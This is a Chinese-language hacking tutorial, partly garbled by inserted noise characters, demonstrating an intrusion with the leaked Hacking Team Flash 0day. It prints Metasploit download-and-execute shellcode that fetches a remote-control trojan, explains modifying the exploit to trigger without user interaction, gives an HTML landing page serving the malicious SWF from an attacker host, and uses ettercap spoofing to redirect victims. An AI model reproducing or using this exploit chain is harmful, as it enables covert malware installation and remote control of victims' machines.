flash 0day之手工代码修改制作下载者实例入侵演示

admin

6 s; m- B9 b) Y 三、flash 0day之手工代码修改制作下载者实例入侵演示 * ]" M0 C+ i- c! |! n2 d! d: d! y& N

0 I6 F8 {4 y6 L' R, s* g2 R 利用到的工具：

" P' ` ?& K3 \, {

O9 [; [- Q0 ?( ]# E. Y Msf

Ettercap * [) N6 v* f6 B" M7 ?

Adobe Flash CS6 & n& M/ x, y+ T

+ I+ d H2 ]2 y* U: E Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 . R) g4 o* E5 X& v- q

/ C; _: |( E/ t0 `5 V4 t 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options

6 J+ G r- I% \+ |" T+ ~: D

* U1 U$ L7 R9 e2 X3 S, a4 ]2 [ 如图：

6 {2 C& o! o, J( r" Z

  " m' V O- `/ W) l/ \/ X/ W

+ X+ J2 H+ F$ o7 [2 C4 ~! j  

/ D6 B* C9 u; t# N 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: 9 B P# z: E' G. _5 A) H

 

5 Q2 ^! H, `2 n( `

. p9 s. Y& S3 a9 | [   - y' l; J- p8 p$ O3 J

0 Y* \; v+ H9 D S% _& P

/ y9 C% Y6 [0 v! w3 ] 然后执行generate -t dword生成shellcode，如下： % }; C& Q9 D! e: j" ~. y* O& Z( T

+ Y5 `. ?/ }' }1 L( b. U

" R. {' E7 d. Y! H$ K9 f* `   8 i) T/ A! K7 X

复制代码到文本下便于我们一会编辑flash exp，如下： / t7 O% E, c6 r- g4 \2 F/ N/ j

# i' h% u7 ]% o, |

" `6 H! x7 {: F7 u 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, 7 G6 g$ q/ Z$ Z; P) K- \+ T. B

0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 5 N& C5 ]' b4 j; x5 Z' u" ~

3 M6 n: h% l4 J: p5 w" `9 [

0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 6 j, A2 Q! B* _* ?; d

, P% o' b% t" S. p, M2 w' d0 N7 u/ f 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,

4 W+ F* j2 N! r# z, x7 i1 t+ q5 n9 B

0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, ; V, H' r3 r) `) Q2 [

0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, . {8 X" O- c1 p% Z" I

, v. g2 z; k; Y+ I7 w& ^6 R 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,

3 t$ g2 g7 b; O 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, & Z9 c1 @6 H2 ?" E4 Y4 m

3 \2 d. u7 }. ?) t) ~

! U7 X. h: y9 s1 J4 i0 ^# u) S 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, ! q0 M# ]! V R- r# h; X; G( p" h; {

$ l* f3 r$ r3 S+ a0 V

4 {' d0 d4 Y4 [ R, m' {" q( X; R 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, , _! c* t* O: g0 K) L! o

8 n. e' ~1 I& \2 G) @6 h) m+ R 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,

4 H4 F3 e0 k- z3 H, t: |5 h& H' q 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,

0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,

, U0 g; @- {" _$ `) F 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 9 }5 {0 C, e: M% y5 C' G6 k* R6 q6 Z

# i8 J: F0 X: {! g' X0 q+ ]) Z4 W

* y" [% d9 G, `+ {7 }" @   ( f6 e, W, @8 c5 u2 t5 o; u

 

下面我们来修改flash 0day exp，需要修改三个文件，分别为： r' |- ?: J' S5 O7 @

# ?2 F3 ?. u) |! K0 q2 ]6 ?  

1 v- A2 y3 K% @2 h! r

先修改ShellWin32.as，部分源代码如图：

$ E8 e! ~% ?: h) x0 X) L! Y

* z/ Q& y' P+ L: f% y/ _- Q  

4 m+ ^! [- {! L7 z4 p, ]1 N 我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下：

  - R) c8 q7 n* n! k K1 ~5 P

3 z4 |4 @3 ^/ Z' J6 E; K* R

然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图：

+ R. A1 Z& i1 q4 D0 W' X

 

1 q7 w, h5 Z& \: c- g4 t 换行在后面加一句TryExpl();注意是l不是数字1，然后如图：

; v- `" u0 D% G. }/ z

 

0 w% c6 `- H4 B

' u8 v7 \% O4 v1 u7 q4 I  

 

然后点保存，下面我们来编译一下，打开 5 y9 U' a! Y" k; v! W

& ~5 S, ? v! |# l' W

exp1.fla然后点文件-发布，看看编译没错误

# ^3 u% U: r4 n" i: `' ?  

3 P! `4 ?# W* U

 

3 B- ^1 y" [( K! R  

 

$ C T8 m( k& u _$ Q

6 o; u5 T# X5 \0 `; j 然后我们把生成的

% I6 W6 q8 E% O: J& F exp1.swf丢到kailinux 的/var/www/html下：

* `; b" t0 P% |. O5 i& r( F9 n) u/ | 然后把这段代码好好编辑一下 1 H2 { M5 Z0 q% b; m: Y# p \; Y

. p1 V% E' e$ v7 u3 N6 P6 @

 

  : I6 F1 u: @! ]; z

8 n( m+ n! H L8 S9 g2 z: X   9 {" L% ^1 N6 Y

  5 d9 L# j: {7 v& o. Q

( S. r( P% |/ \6 l   * R3 m9 n3 \( N8 p9 N9 h

1 U, o4 H# n( y& W% y& a

' ~, [$ E5 W/ @6 k! e% n  

1 F; t/ ]" d2 V; x

- ?( U; h3 z) {( D6 n <!DOCTYPE html>

* r+ R. G& J' R# n9 v

, ?) [& L/ o- g- u <html>

" n2 P8 Z- c& e) {4 w

8 b h2 Z. ?! o+ V6 N <head>

: l$ I0 Z" O! C

<meta http-equiv="Content-Type" content="text/html;

( ]: I+ V4 n+ J* C$ }& M8 \! o

) p6 @* s' {4 o/ I+ N8 p. _1 t charset=utf-8"/> 2 C+ v. H* g5 a" W s& C |1 l

7 X; A( H' W0 v. _- |9 Y

: E4 G! n; L' j8 B. ? </head>

( W; G, ]2 t( k* Z2 D9 A <body> ' D U' [( M1 s) x1 ]: H6 M! @

+ G4 V& i7 ]) ?

<h2> Please wait, the requested page is loading...</h2> , h4 s# j% d+ }# T, Y

" h! S& h0 q2 f# t+ i

<br>

8 r4 H O) }( j6 O2 p1 {

<OBJECT $ N, f* L) ~" n8 F0 a* ~

classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie

9 D3 I# f# m5 u6 S, y \

VALUE="http://192.168.0.109/exp1.swf"></OBJECT>

3 u, r% G; K" `6 P* t

</body>

* ` Y; s5 t1 r! Y+ f' {7 j+ D

<script> , k! _# i# [$ e: r# q% F! U

    setTimeout(function () { $ ^6 g/ k! w. w; g( r9 Z, `

$ x2 a; y( a( U

         ; U% K- X+ [2 d( h; H! F: R

+ g4 q' _( @6 T+ A

window.location.reload();

: y* F4 a! D, ] w4 s

    }, 10000); L5 i2 i$ A4 b, B8 b4 p# a" x1 R, V

! I! p7 a0 x3 V) E2 x) E7 r' N* \

/ b4 g ?! t" y* X) g  

</script>

& z! g( a) N6 Z1 |, C

</html>

1 ?# @/ n2 T6 a4 s   3 ]! V0 R- h) ?5 B a; {

注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图：

% ]0 o1 L7 Y6 E+ y

  . v. Z3 c3 I" b7 q m

e2 N! _) \7 |0 B  

0 V' f1 ?* V( u" @! u' K   / U* j2 [: D, s4 V( E

  4 I9 ~# A# b( G

 

, O- A' \% ?3 E, Y* [6 @3 r

8 l, V6 P# t7 z, X! f( ? ] 下面我们用ettercap欺骗如图： . B* ]; K/ ]1 x6 j, R; M

' n/ T! F$ H5 H, f$ N e

+ Y' f8 f% o. g9 S, X: T9 X% }  

 

* U* X; q/ _: ]

下面我们随便访问个网站看看： 0 `: {4 ]7 i! g! ^7 Z7 Y6 o2 w

, s' _' r1 k, J: m1 ^1 `

我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图： . b8 b7 f- X' Y* h: T" w

 

: T5 T8 c# c* d9 p ?

我们看另一台， 7 ]2 t. _' r) {& `3 d$ Z

9 c$ n2 H/ q1 ]# F$ A# u0 ]. A. t' ] 提示这个错误，说明木马是成功被下载执行了，只是由于某些原因没上线而已。。。